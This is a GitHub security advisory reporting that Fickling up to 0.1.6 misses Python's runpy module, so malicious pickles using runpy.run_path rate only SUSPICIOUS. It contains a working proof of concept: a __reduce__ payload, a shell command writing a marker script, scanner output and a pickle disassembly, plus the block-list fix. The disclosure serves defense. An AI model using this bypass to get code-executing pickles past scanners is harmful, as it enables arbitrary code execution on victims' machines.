GHSA-wfq2-52f7-7qvj Fickling has a bypass via runpy.run_path() and runpy.run_module()
Fickling's assessment`runpy`  was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).Original reportSummaryFickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.DetailsThe `runpy` module is missing from fickling's block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).Incriminated source code:File: `fickling/analysis.py`Class: `UnsafeImports`Issue: The blocklist does not include `runpy`, `runpy.run_path`, `runpy.run_module`, or `runpy._run_code`Reference to similar fix:PR #187 added `pty` to the blocklist to fix CVE-2025-67748PR #108 documented the blocklist approachThe same fix pattern should be applied for `runpy`How the bypass works:Attacker creates a pickle using `runpy.run_path()` in `__reduce__`Fickling's `UnsafeImports` analysis does not flag `runpy` as dangerousOnly the `UnusedVariables` heuristic triggers, resulting in `SUSPICIOUS` severityThe pickle should be rated `OVERTLY_MALICIOUS` like `os.system`, `eval`, and `exec`Tested behavior (fickling 0.1.6):| Function          | Fickling Severity          | RCE Capable |
|-------------------|----------------------------|-------------|
| os.system         | LIKELY_OVERTLY_MALICIOUS   | Yes         |
| eval              | OVERTLY_MALICIOUS          | Yes         |
| exec              | OVERTLY_MALICIOUS          | Yes         |
| runpy.run_path    | SUSPICIOUS                 | Yes ← BYPASS |
| runpy.run_module  | SUSPICIOUS                 | Yes ← BYPASS |Suggested fix:
Add to the unsafe imports blocklist in `fickling/analysis.py`:runpyrunpy.run_pathrunpy.run_modulerunpy._run_coderunpy._run_module_codePoC_Complete instructions, including specific configuration details, to reproduce the vulnerability._**Environment:**Python 3.13.2fickling 0.1.6 (latest version, installed via pip)Step 1: Create malicious pickleimport pickle
import runpyclass MaliciousPayload:
    def __reduce__(self):
        return (runpy.run_path, ("/tmp/malicious_script.py",))with open("malicious.pkl", "wb") as f:
    pickle.dump(MaliciousPayload(), f)Step 2: Create the malicious script that will be executedecho 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.pyStep 3: Analyze with ficklingfickling --check-safety malicious.pklExpected output (if properly detected):
Severity: OVERTLY_MALICIOUSActual output (bypass confirmed):
{
    "severity": "SUSPICIOUS",
    "analysis": "Variable `_var0` is assigned value `run_path(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file",
    "detailed_results": {
        "AnalysisResult": {
            "UnusedVariables": ["_var0", "run_path(...)"]
        }
    }
}Step 4: Prove RCE by loading the pickleimport pickle
pickle.load(open("malicious.pkl", "rb"))Check: ls /tmp/pwned  <-- file exists, proving code executionPickle disassembly (evidence):11: \x8c SHORT_BINUNICODE 'runpy'
   18: \x94 MEMOIZE    (as 0)
   19: \x8c SHORT_BINUNICODE 'run_path'
   29: \x94 MEMOIZE    (as 1)
   30: \x93 STACK_GLOBAL
   31: \x94 MEMOIZE    (as 2)
   32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py'
   ...
  100: R    REDUCE
  101: \x94 MEMOIZE    (as 5)
  102: .    STOPImpactVulnerability Type:
Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).Who is impacted:
Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:Attack scenario:
An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.Severity: HIGHThe attacker achieves arbitrary code executionThe security control (fickling) is specifically designed to prevent thisThe bypass requires no special conditions beyond crafting the pickle with `runpy`
CVSS v4.0 score: 8.9